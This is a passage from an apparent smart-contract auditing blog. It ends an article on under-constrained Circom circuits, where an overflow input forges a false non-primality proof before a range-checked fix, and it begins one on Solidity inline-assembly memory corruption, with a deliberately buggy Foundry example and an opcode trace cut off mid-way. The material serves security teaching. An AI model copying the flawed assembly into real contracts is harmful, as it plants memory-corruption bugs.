<p>ZK Circuits operate using Modular Arithmetic in a Finite Field <code>Fp</code> with a <a target="_blank" href="https://docs.circom.io/circom-language/basic-operators/">default value</a> of <code>p = 21888242871839275222246405745257275088548364400416034343698204186575808495617</code> though the value of <code>p</code> can be <a target="_blank" href="https://docs.circom.io/getting-started/compilation-options/#flags-and-options-related-to-the-constraint-generation-process">changed</a> using the <code>-p</code> compilation option.</p>
<p>Due to Modular Arithmetic numbers wrap around; for simplicity consider <code>p = 11</code> for a Finite Field <code>F11</code>. A Prover could then pass the following inputs to our "fixed" Circuit:</p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> sampleInput = {
    <span class="hljs-attr">val</span>: <span class="hljs-string">"7"</span>,
    <span class="hljs-attr">factorOne</span>: <span class="hljs-string">"6"</span>,
    <span class="hljs-attr">factorTwo</span>: <span class="hljs-string">"3"</span>
  };
</code></pre>
<p>When the Circuit executes, <code>6 * 3 = 18</code> wraps to <code>7</code> since <code>11</code> wraps to <code>0</code> due to Modular Arithmetic in <code>F11</code> with <code>p = 11</code> . A malicious Prover could exploit this overflow to create a false Proof that <code>7</code> is not a prime number! Hence the "fixed" Circuit still contains a critical and more subtle "Under-Constrained" vulnerability because there is no constraint on the range of inputs which operate using Modular Arithmetic within a Finite Field.</p>
<h3 id="heading-range-constraints-to-prevent-overflow">Range Constraints To Prevent Overflow</h3>
<p>To handle the multiplication overflow from <code>factorOne * factorTwo</code> we'll need to constrain both factors such that their product is smaller than <code>p</code> of the Finite Field <code>Fp</code>. To achieve this we constrain each factor <code>x</code> in range <code>2 &lt;= x &lt; sqrt(p)</code> ; in practice for Circom's <a target="_blank" href="https://docs.circom.io/circom-language/basic-operators/#field-elements">default</a> <code>p</code> we can use <code>2 &lt;= x &lt; 2 ** 100</code> but auditors must always be aware of which <code>p</code> value the Circuit they are auditing uses and the consequences this has for range constraints &amp; overflow due to Modular Arithmetic.</p>
<p>For our updated solution we'll write a new <code>InRange</code> template to perform the range check leveraging some more math tricks from <a target="_blank" href="https://github.com/iden3/circomlib/tree/master">circomlib</a>. This allows us to delete the previous Constraints enforcing <code>factor != 1</code> as this is now handled by the range checks. Put the new complete code in <code>circuits/multiplier.circom</code> :</p>
<pre><code class="lang-javascript">pragma circom <span class="hljs-number">2.1</span><span class="hljs-number">.4</span>;

<span class="hljs-comment">// helpers taken from circomlib</span>
template Num2Bits(n) {
    signal input <span class="hljs-keyword">in</span>;
    signal output out[n];
    <span class="hljs-keyword">var</span> lc1=<span class="hljs-number">0</span>;

    <span class="hljs-keyword">var</span> e2=<span class="hljs-number">1</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i&lt;n; i++) {
        out[i] &lt;-- (<span class="hljs-keyword">in</span> &gt;&gt; i) &amp; <span class="hljs-number">1</span>;
        out[i] * (out[i] <span class="hljs-number">-1</span> ) === <span class="hljs-number">0</span>;
        lc1 += out[i] * e2;
        e2 = e2+e2;
    }

    lc1 === <span class="hljs-keyword">in</span>;
}

template LessThan(n) {
    assert(n &lt;= <span class="hljs-number">252</span>);
    signal input <span class="hljs-keyword">in</span>[<span class="hljs-number">2</span>];
    signal output out;

    component n2b = Num2Bits(n+<span class="hljs-number">1</span>);

    n2b.in &lt;== <span class="hljs-keyword">in</span>[<span class="hljs-number">0</span>]+ (<span class="hljs-number">1</span>&lt;&lt;n) - <span class="hljs-keyword">in</span>[<span class="hljs-number">1</span>];

    out &lt;== <span class="hljs-number">1</span>-n2b.out[n];
}

template LessEqThan(n) {
    signal input <span class="hljs-keyword">in</span>[<span class="hljs-number">2</span>];
    signal output out;

    component lt = LessThan(n);

    lt.in[<span class="hljs-number">0</span>] &lt;== <span class="hljs-keyword">in</span>[<span class="hljs-number">0</span>];
    lt.in[<span class="hljs-number">1</span>] &lt;== <span class="hljs-keyword">in</span>[<span class="hljs-number">1</span>]+<span class="hljs-number">1</span>;
    lt.out ==&gt; out;
}

template GreaterEqThan(n) {
    signal input <span class="hljs-keyword">in</span>[<span class="hljs-number">2</span>];
    signal output out;

    component lt = LessThan(n);

    lt.in[<span class="hljs-number">0</span>] &lt;== <span class="hljs-keyword">in</span>[<span class="hljs-number">1</span>];
    lt.in[<span class="hljs-number">1</span>] &lt;== <span class="hljs-keyword">in</span>[<span class="hljs-number">0</span>]+<span class="hljs-number">1</span>;
    lt.out ==&gt; out;
}

<span class="hljs-comment">// written using circomlib helpers</span>
<span class="hljs-comment">// to enforce range constraints preventing</span>
<span class="hljs-comment">// overflow due to modular arithmetic</span>
template InRange() {
    signal input a;
    signal input lowerbound;
    signal input upperbound;
    signal output out;

    <span class="hljs-comment">// if lowerbound &lt;= a &lt;= upperbound return 1 else 0</span>
    component lteCheck = LessEqThan(<span class="hljs-number">124</span>);
    lteCheck.in[<span class="hljs-number">0</span>] &lt;== a;
    lteCheck.in[<span class="hljs-number">1</span>] &lt;== upperbound;

    component gteCheck = GreaterEqThan(<span class="hljs-number">124</span>);
    gteCheck.in[<span class="hljs-number">0</span>] &lt;== a;
    gteCheck.in[<span class="hljs-number">1</span>] &lt;== lowerbound;

    out &lt;== lteCheck.out * gteCheck.out;
}


<span class="hljs-comment">// Prover uses Circuit `IsNotPrime` to prove that `val` is not </span>
<span class="hljs-comment">// a prime number without revealing the private factors</span>
<span class="hljs-comment">// which the Prover knows and uses to prove this</span>
template IsNotPrime() {
    signal input factorOne;
    signal input factorTwo;
    signal input val;

    <span class="hljs-comment">// constraint: factors multiplied result in val</span>
    <span class="hljs-comment">// will fail for prime numbers</span>
    val === factorOne * factorTwo;

    <span class="hljs-comment">// Circom circuits: </span>
    <span class="hljs-comment">// * operate in a Finite Field Fp where p is one of </span>
    <span class="hljs-comment">//   several potential primes</span>
    <span class="hljs-comment">// * use Modular Arithmetic (mod p) such that</span>
    <span class="hljs-comment">//   p wraps back around to 0</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// Consider simple case F11 so 11 wraps to 0, a Prover</span>
    <span class="hljs-comment">// could call this circuit with:</span>
    <span class="hljs-comment">// factorOne = 6</span>
    <span class="hljs-comment">// factorTwo = 3</span>
    <span class="hljs-comment">//       val = 7</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// 6 * 3 = 18 which wraps to 7 due to mod 11</span>
    <span class="hljs-comment">// Hence the Prover could use this Circuit to</span>
    <span class="hljs-comment">// create a false proof that 7 is not prime</span>
    <span class="hljs-comment">// by exploiting overflow due to Modular Arithmetic</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// To prevent overflow implement range check</span>
    <span class="hljs-comment">// constraints on the factors</span>

    <span class="hljs-comment">// {0, 1} not valid factors</span>
    <span class="hljs-keyword">var</span> MIN_RANGE = <span class="hljs-number">2</span>; 

    <span class="hljs-comment">// must be below sqrt(p) for Fp, 2**100 works for default p</span>
    <span class="hljs-comment">// https://docs.circom.io/circom-language/basic-operators/#field-elements</span>
    <span class="hljs-keyword">var</span> MAX_RANGE = <span class="hljs-number">2</span> ** <span class="hljs-number">100</span>;

    component f1RangeCheck = InRange();
    f1RangeCheck.a &lt;== factorOne;
    f1RangeCheck.lowerbound &lt;== MIN_RANGE;
    f1RangeCheck.upperbound &lt;== MAX_RANGE;

    component f2RangeCheck = InRange();
    f2RangeCheck.a &lt;== factorTwo;
    f2RangeCheck.lowerbound &lt;== MIN_RANGE;
    f2RangeCheck.upperbound &lt;== MAX_RANGE;

    <span class="hljs-comment">// constraint to enforce factor range constraints</span>
    <span class="hljs-number">1</span> === f1RangeCheck.out * f2RangeCheck.out;
}

<span class="hljs-comment">// `val` is public, factors are private</span>
component main {public [val]} = IsNotPrime();
</code></pre>
<p>While the factor range check Constraints prevent the overflow exploit, one necessary consequence to be aware of is that they also limit the range of numbers for which the Circuit can be used to prove a number is not a prime.</p>
<h3 id="heading-additional-resources">Additional Resources</h3>
<p>Special thanks to <a target="_blank" href="https://x.com/rkm0959">rkm0959</a> and <a target="_blank" href="https://x.com/cergyk1337">cergyk1337</a> for invaluable ZK insights and <a target="_blank" href="https://www.cyfrin.io/">cyfrin.io</a> for providing me with research time between audits to study and explore. Some helpful additional resources include:</p>
<ul>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=Gfa4BIMMXhk">Taxonomy of ZK Vulns</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=hxPjKct-5iQ&amp;t=1315s">ZK Security Explained</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/0xPARC/zk-bug-tracker">ZK Bug Tracker</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Solidity Inline Assembly Vulnerabilities]]></title><description><![CDATA[Smart contract developers working on Ethereum mainnet use assembly instead of regular Solidity to save gas thereby reducing transaction fees for users. However using assembly instead of normal Solidity can introduce subtle memory corruption issues an...]]></description><link>https://dacian.me/solidity-inline-assembly-vulnerabilities</link><guid isPermaLink="true">https://dacian.me/solidity-inline-assembly-vulnerabilities</guid><category><![CDATA[Ethereum]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Web3]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Wed, 29 May 2024 13:05:21 GMT</pubDate><content:encoded><![CDATA[<p>Smart contract developers working on Ethereum mainnet use assembly instead of regular Solidity to save gas thereby reducing transaction fees for users. However using assembly instead of normal Solidity can introduce subtle memory corruption issues and result in unexpected behavior that smart contract auditors and developers should be aware of.</p>
<h2 id="heading-prerequisite-knowledge">Prerequisite Knowledge</h2>
<p>In order to understand this deep dive you'll need to have completed at least Section 1 of Updraft's <a target="_blank" href="https://updraft.cyfrin.io/courses/formal-verification">Assembly &amp; Formal Verification course</a> or already have equivalent knowledge of:</p>
<ul>
<li><p><a target="_blank" href="https://www.evm.codes/">EVM Opcodes</a></p>
</li>
<li><p><a target="_blank" href="https://faizannehal.medium.com/understanding-the-stack-based-architecture-of-evm-af45dc9819f2">EVM Stack Machine</a></p>
</li>
<li><p>Solidity's <a target="_blank" href="https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html">Free Memory Pointer</a></p>
</li>
<li><p><a target="_blank" href="https://book.getfoundry.sh/forge/debugger">Foundry's Debugger</a></p>
</li>
</ul>
<h2 id="heading-memory-corruption-from-external-call">Memory Corruption From External Call</h2>
<p>The return value of an external call is stored into memory at the Next Free Memory Address (NFMA), which is retrieved by reading memory at the Free Memory Pointer Address(FMPA - 0x40). If the smart contract developer has not accounted for this<a target="_blank" href="https://book.getfoundry.sh/forge/debugger">,</a> when an external call occurs after an assembly block the return value of the external call can over-write data stored in memory by the preceding assembly block. This can result in insidious vulnerabilities if that data is used by subsequent calculations.</p>
<p>To see exactly how this memory corruption occurs examine this simplified stand-alone Foundry example based upon <a target="_blank" href="https://solodit.xyz/issues/incorrect-batch-hashes-due-to-memory-corruption-openzeppelin-none-scroll-phase-1-audit-markdown">this</a> real-world finding:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.8.26;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Test</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Test.sol"</span>;

<span class="hljs-comment">// separate contracts accessed via interfaces</span>
<span class="hljs-comment">// prevents the optimizer from being "too smart", helping</span>
<span class="hljs-comment">// to better approximate real-world execution</span>
<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IInfoRetriever</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getVal</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}

<span class="hljs-comment">// this contract gets used to return additional</span>
<span class="hljs-comment">// values required by the primary computation</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">InfoRetriever</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IInfoRetriever</span> </span>{
    <span class="hljs-keyword">uint256</span> returnVal <span class="hljs-operator">=</span> <span class="hljs-number">3</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setVal</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> newVal</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        returnVal <span class="hljs-operator">=</span> newVal;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getVal</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
       <span class="hljs-keyword">return</span> returnVal;
    }
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IHasher</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">hashInputs</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> a, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> additionalInputCount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> result</span>)</span>;
}

<span class="hljs-comment">// actual implementation that computes a hash of</span>
<span class="hljs-comment">// two primary inputs and an optional number of</span>
<span class="hljs-comment">// secondary inputs</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">HasherImpl</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IHasher</span> </span>{

    <span class="hljs-comment">// used to retrieve optional number of secondary inputs</span>
    IInfoRetriever infoRetriever;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">IInfoRetriever _infoRetriever</span>) </span>{
        infoRetriever <span class="hljs-operator">=</span> _infoRetriever;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_getSecondaryInputs</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> dataPtr, <span class="hljs-keyword">uint256</span> inputsToFetch</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">for</span>(<span class="hljs-keyword">uint256</span> i; i<span class="hljs-operator">&lt;</span>inputsToFetch; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            <span class="hljs-comment">// make external call to retrieve the data</span>
            <span class="hljs-keyword">uint256</span> input <span class="hljs-operator">=</span> infoRetriever.getVal();

            <span class="hljs-keyword">assembly</span> {
                <span class="hljs-comment">// for each additional input, store it into memory</span>
                <span class="hljs-comment">// at next free memory address</span>
                <span class="hljs-built_in">mstore</span>(dataPtr, input)

                <span class="hljs-comment">// update pointer to subsequent next free memory address</span>
                dataPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(dataPtr, <span class="hljs-number">0x20</span>)
            }
        }

        <span class="hljs-comment">// returns updated dataPtr</span>
        <span class="hljs-keyword">return</span> dataPtr;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">hashInputs</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> a, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> additionalInputCount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> result</span>) </span>{
        <span class="hljs-keyword">uint256</span> dataPtr;

        <span class="hljs-keyword">assembly</span> {
            <span class="hljs-comment">// read free memory pointer to find next free memory address</span>
            dataPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-number">0x40</span>)

            <span class="hljs-comment">// store `a` in memory at next free memory address</span>
            <span class="hljs-built_in">mstore</span>(dataPtr, a)

            <span class="hljs-comment">// update pointer to subsequent next free memory address</span>
            dataPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(dataPtr, <span class="hljs-number">0x20</span>)

            <span class="hljs-comment">// store `b` in memory at next free memory address</span>
            <span class="hljs-built_in">mstore</span>(dataPtr, b)

            <span class="hljs-comment">// update pointer to subsequent next free memory address</span>
            dataPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(dataPtr, <span class="hljs-number">0x20</span>)
        }

        <span class="hljs-comment">// get the additional input from the info retriever, passing the updated</span>
        <span class="hljs-comment">// `dataPtr` so any new elements will be saved in subsequent free memory</span>
        <span class="hljs-comment">// addresses</span>
        dataPtr <span class="hljs-operator">=</span> _getSecondaryInputs(dataPtr, additionalInputCount);

        <span class="hljs-comment">// compute hash of all inputs</span>
        <span class="hljs-keyword">assembly</span> {
            <span class="hljs-keyword">let</span> startPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-number">0x40</span>)
            result <span class="hljs-operator">:=</span> <span class="hljs-built_in">keccak256</span>(startPtr, <span class="hljs-built_in">sub</span>(dataPtr, startPtr))
        }
    }
}

<span class="hljs-comment">// test harness</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">HasherTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{

    IInfoRetriever infoRetriever <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> InfoRetriever();
    IHasher hasher <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> HasherImpl(infoRetriever);
    <span class="hljs-keyword">uint256</span> a <span class="hljs-operator">=</span> <span class="hljs-number">1</span>;
    <span class="hljs-keyword">uint256</span> b <span class="hljs-operator">=</span> <span class="hljs-number">2</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_HashWithoutAdditionalInput</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// works great</span>
        <span class="hljs-keyword">bytes32</span> result <span class="hljs-operator">=</span> hasher.hashInputs(a, b, <span class="hljs-number">0</span>);

        assertEq(result, <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>)));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_HashWithAdditionalInput</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// fails due to calculating incorrect hash</span>
        <span class="hljs-keyword">bytes32</span> result <span class="hljs-operator">=</span> hasher.hashInputs(a, b, <span class="hljs-number">1</span>);

        assertEq(result, <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>)));   
    }
}
</code></pre>
<p>This simplified example contains a contract <code>HasherImpl</code> whose purpose is to:</p>
<ul>
<li><p>receive a set of primary inputs (<code>a, b</code>)</p>
</li>
<li><p>optionally retrieve a set of secondary inputs</p>
</li>
<li><p>calculate a hash over the entire set of primary and secondary inputs</p>
</li>
</ul>
<p><code>HasherImpl</code> uses assembly to:</p>
<ul>
<li><p>correctly calculate Next Free Memory Addresses (NFMA)</p>
</li>
<li><p>correctly store both primary and secondary inputs into NFMAs</p>
</li>
<li><p>perform a gas-efficient hash over the entire input set</p>
</li>
</ul>
<p>When no secondary inputs exist everything works correctly which can be verified by <code>forge test --match-contract HasherTest --match-test test_HashWithoutAdditionalInput</code></p>
<p>However when using one or more secondary inputs the relevant test <code>test_HashWithAdditionalInput</code> fails as an incorrect hash is calculated. This occurs for two reasons - let's examine the first cause in detail!</p>
<h3 id="heading-manual-assembly-analysis">Manual Assembly Analysis</h3>
<p>Examining the assembly code superficially everything looks great; each primary and secondary input is saved into the NFMA and <code>dataPtr</code> is always updated to point to the next NFMA such that no variables will over-write each-other.</p>
<p>However when secondary inputs are retrieved a very subtle bug occurs due to the external call(s) to <code>IInfoRetriever::getVal</code> since:</p>
<ul>
<li><p>the manual assembly never updated the FMPA (0x40) and stored the first input <code>a</code> at the Starting Next Free Memory Address (SNFMA - 0x80)</p>
</li>
<li><p>when setting up for the external call, the FMPA will be loaded from memory and a temporary value used in the external call will be stored at the address it points to (0x80)</p>
</li>
<li><p>when the external call completes, the FMPA will again be loaded from memory and the return value stored at the address it points to (0x80)</p>
</li>
<li><p>this causes memory corruption at 0x80, over-writing the input variable <code>a</code> both before and after the external call</p>
</li>
</ul>
<p>Hence the hash will never execute over the entire input set since at least one of the inputs was over-written, resulting in an incorrect hash being calculated. Let's prove this is exactly what happens using Foundry's debugger to step through every opcode and see the exact moment when memory corruption occurs!</p>
<h3 id="heading-opcode-execution-trace">Opcode Execution Trace</h3>
<p>To start the debugger execute <code>forge test --match-contract HasherTest --debug test_HashWithAdditionalInput</code>. We are concerned with the execution inside <code>HasherImpl::hashInputs</code>:</p>
<ul>
<li><p>from the first <code>PUSH1(0x40)</code> after calldata has been loaded onto the stack and <code>JUMPDEST</code> has been called</p>
</li>
<li><p>until the memory corruption occurs</p>
</li>
</ul>
<p>The relevant execution starts at PC 0x56 (86) and looks like this:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// push Free Memory Pointer Address (FMPA) onto stack</span>
PUSH1(<span class="hljs-number">0x40</span>) [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]    
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                             ]

<span class="hljs-comment">// duplicate FMPA</span>
DUP1        [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                   ]

<span class="hljs-comment">// load Starting Next Free Memory Address (SNFMA) by reading FMPA</span>
MLOAD       [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                   ]

<span class="hljs-comment">// duplicate value of `a` input</span>
DUP5        [Stack : <span class="hljs-number">0x01</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                         ]

<span class="hljs-comment">// duplicate SNFMA</span>
DUP2        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                               ]

<span class="hljs-comment">// store value of `a` into memory at SNFMA</span>
MSTORE      [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                      ]

<span class="hljs-comment">// push 0x20 onto stack (2nd param of first `add` call)</span>
<span class="hljs-comment">// this is an offset to calculate Next Free Memory Address (NFMA)</span>
PUSH1(<span class="hljs-number">0x20</span>) [Stack : <span class="hljs-number">0x20</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                            ]

<span class="hljs-comment">// duplicate SNFMA</span>
DUP2        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                                  ]

<span class="hljs-comment">// calculate NFMA by SNFMA + offset (0x80 + 0x20)</span>
ADD         [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                            ]

<span class="hljs-comment">// duplicate value of `b` input</span>
DUP5        [Stack : <span class="hljs-number">0x02</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                                  ]

<span class="hljs-comment">// exchange 2nd and 1st elements</span>
SWAP1       [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                                  ]

<span class="hljs-comment">// store value of `b` into memory at NFMA</span>
MSTORE      [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>         ]

<span class="hljs-comment">// not sure what the purpose of this is?</span>
PUSH1(<span class="hljs-number">0x00</span>) [Stack : <span class="hljs-number">0x00</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>               ]

<span class="hljs-comment">// exchange 3rd and 1st stack elements</span>
SWAP2       [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>               ]

<span class="hljs-comment">// calculate NFMA by SNFMA + offset (0x80 + 0x40) </span>
